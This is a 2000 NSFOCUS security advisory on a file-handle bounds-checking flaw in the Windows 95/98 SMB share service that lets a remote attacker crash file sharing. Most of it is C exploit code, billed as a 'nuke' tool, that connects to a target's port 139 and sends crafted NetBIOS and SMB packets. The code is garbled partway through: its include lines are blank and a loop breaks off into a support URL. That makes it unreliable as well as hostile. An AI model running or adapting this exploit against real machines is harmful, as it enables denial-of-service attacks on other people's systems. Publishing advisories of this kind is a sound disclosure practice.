NSFOCUS Security Advisory(SA2000-03)



Topic : Microsoft WIN9X Share Service File Handle Vulnerability



Release Date： July 10, 2000

Update Date：  Oct 11, 2000



Affected System:

=================

- Microsoft Windows 95

- Microsoft Windows 98

- Microsoft Windows 98 Second Edition



Non-affected System：

=====================

- Microsoft Windows NT

- Microsoft Windows 2000



Impact:

=========



NSFOCUS security team has found a security flaw in Microsoft Win9x file share

service.

Exploitation of this vulnerability , a malicious user can perform DoS attack of

file share service remotely.





Description:

=============



The share service program of WIN9X only assigns 0x400*4 bytes to store file

handle conversion pointers, so the file handle from client should be bounded to

0 - 0x3ff. But when share server handles some SMB commands like SMBfindclose

from client ,it does not perform file handles bound checking correctly .

Exploit of it ,server program will access illegal memory address. The share

service will halt after numerous repeats.





Exploit：

===============



#include 

#include 

#include 

#include 





int main(int argc, char **argv)

{

char *server;

char buff[1000];

char buff2[1000];

char buffgetname[]=

{0x00,0x72,0x00,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,

0x00,0x01};

char name;

char myname[0x200]={"hello"};

char servername[]={"*SMBSERVER"};

char buff3[]=

{0x81,0,0,0x44,0x20,0x45,0x4f,0x45,0x42,0x45,0x4a,0x43,0x48,0x46,0x44,0x43,0x41,

0x46,0x48,0x45,0x50,0x46,0x43,0x45,0x4d,0x45,0x45,0x43,0x41,0x43,0x41,0x43,0x41,

0x43,0x41,0x43,0x41,00,0x20,0x45,0x48,0x46,0x46,0x45,0x46,0x46,0x44,0x46,0x45,

0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,

0x43,0x41,0x43,0x41,0x41,0x41,00

};

char buff4[]={

0x0,0x0,0x0,0x9a,0xff,0x53,0x4d,0x42,0x72,00,00, 00, 00, 00, 00, 00, 00, 00,

00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 ,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x77,0x00,0x02,0x50,0x43,0x20,0x4e,0x45,0x54,0x57,0x4f,0x52,0x4b,0x20,0x50,

0x52,0x4f,0x47,0x52,0x41,0x4d,0x20,0x31,0x2e,0x30,0x00,0x02,0x4d,0x49,0x43,0x52,

0x4f,0x53,0x4f,0x46,0x54,0x20,0x4e,0x45,0x54,0x57,0x4f,0x52,0x4b,0x53,0x20,0x33,

0x2e,0x30,0x00,0x02,0x44,0x4f,0x53,0x20,0x4c,0x4d,0x31,0x2e,0x32,0x58,0x30,0x30,

0x32,0x00,0x02,0x44,0x4f,0x53,0x20,0x4c,0x41,0x4e,0x4d,0x41,0x4e,0x32,0x2e,0x31,

0x00,0x02,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x66,0x6f,0x72,0x20,0x57,0x6f,

0x72,0x6b,0x67,0x72,0x6f,0x75,0x70,0x73,0x20,0x33,0x2e,0x31,0x61,0x00,0x02,0x4e,

0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00,0

};

int fileid_begin=0x600;

int fileid_end=0x8ff;

char smbchr[]={"SMBr"};

char namereturn[]={0x82,0,0,0,0};

char ipaddr[]={"192.168.1.1"};

char ipaddrbak[]={"127.0.0.1"};



int port,gethost;

int fd,fd2;



struct sockaddr_in s_in,s_in2,s_in3;

struct linger time_out;

struct hostent *he;

int i,j,k;

SOCKET d_ip;

WSADATA wsaData;

int result= WSAStartup(MAKEWORD(1, 1), &wsaData);

if (result != 0) {

        fprintf(stderr, "Your computer was not connected "

            "to the Internet at the time that "

            "this program was launched, or you "

            "do not have a 32-bit "

            "connection to the Internet.");

        exit(1);

    }





if(argc <2)

{

WSACleanup( );

    fprintf(stderr,"\n nuke win9x netbios .\n copy by yuange(yuange@nsfocus.com) 2000.4.1. \n

                       wellcome to our homepage http://www.nsfocus.com .");

    fprintf(stderr, "\n usage: %s  [port] \n", argv[0]);

exit(1);

}

if(argc>=2)

server = argv[1];

else server=&ipaddr;

d_ip = inet_addr(server);



if(d_ip==-1){

he = gethostbyname(server);

if(!he)

{

WSACleanup( );

    printf("\n Can't get the ip of %s !\n",server);

exit(1);

    }

    else memcpy(&d_ip, he->h_addr, 4);



}

if(argc>2) port = atoi(argv[2]);

else port=139;



fd = socket(AF_INET, SOCK_STREAM,0);

i=8000;

setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i));



s_in.sin_family = AF_INET;

s_in.sin_port = htons(port);

s_in.sin_addr.s_addr = d_ip;

printf("\n nuke ip: %s port %d",inet_ntoa(s_in.sin_addr),htons(s_in.sin_port));



if(!connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in))){



fd2 = socket(AF_INET, SOCK_DGRAM,0);

    i=8000;

    setsockopt(fd2,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i));



s_in2.sin_family = AF_INET;

s_in2.sin_port = htons(500);

s_in2.sin_addr.s_addr =0;



    s_in3.sin_family = AF_INET;

s_in3.sin_port = htons(137);

s_in3.sin_addr.s_addr = d_ip;

    bind(fd2,&s_in2, sizeof(struct sockaddr_in));

for(k=0;k<10;++k){

        printf("\n connect the smb %d times",k+1);

sendto(fd2,buffgetname,0x32,0,&s_in3,sizeof(struct sockaddr_in));

        i= sizeof(struct sockaddr_in);



        for(i=0;i<520;++i) buff2[i]=0;

    j=recvfrom(fd2,buff2,500,0,&s_in3,&i);

        i=0x39;

        while(i=j){

        he=gethostbyaddr(&d_ip,sizeof(d_ip),PF_INET);

    if(he) memcpy(servername,he->h_name,0x40);

        }

        printf("\n server computername: %s",servername);



    gethost=0;

    for(i=0;i<16;++i){

        name=servername[i] ;

        if(name==0) gethost=1;

        if(gethost==1) name=0x20;

        buff3[2*i+5]= ( (name >> 4) & 0x000F ) + 'A';

        buff3[2*i+6]= (name & 0x000F) + 'A';

        }

    buff3[37]=0;

    gethost=0;

    for(i=0;i<16;++i){

            name=servername[i];

            if(name==0) gethost=1;

        if(gethost==1) name=0x20;

        buff3[2*i+39]= ( (name >> 4) & 0x000F ) + 'A';

        buff3[2*i+40]= (name & 0x000F) + 'A';



        }

    buff3[71]=0;



    i=send(fd,buff3,0x48,0);

    printf("\n send name packet %d bytes",i);

    buff2[0]=0;

    buff2[1]=0;

    buff2[2]=0;

    buff2[3]=0;

    buff2[4]=0;

    i=recv(fd,buff2,600,0);

    printf("\n recv :");

    if(i>0){

            for(j=0;jhttp://support.microsoft.com/support/kb/articles/Q199/3/46.ASP?LN=EN-US&SD=gn&FR=1



DISCLAIMS:

==========

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?Copyright 1999-2000 NSFOCUS. All Rights Reserved. Terms of use.





NSFOCUS Security Team 

NSFOCUS INFORMATION TECHNOLOGY CO.,LTD

(http://www.nsfocus.com)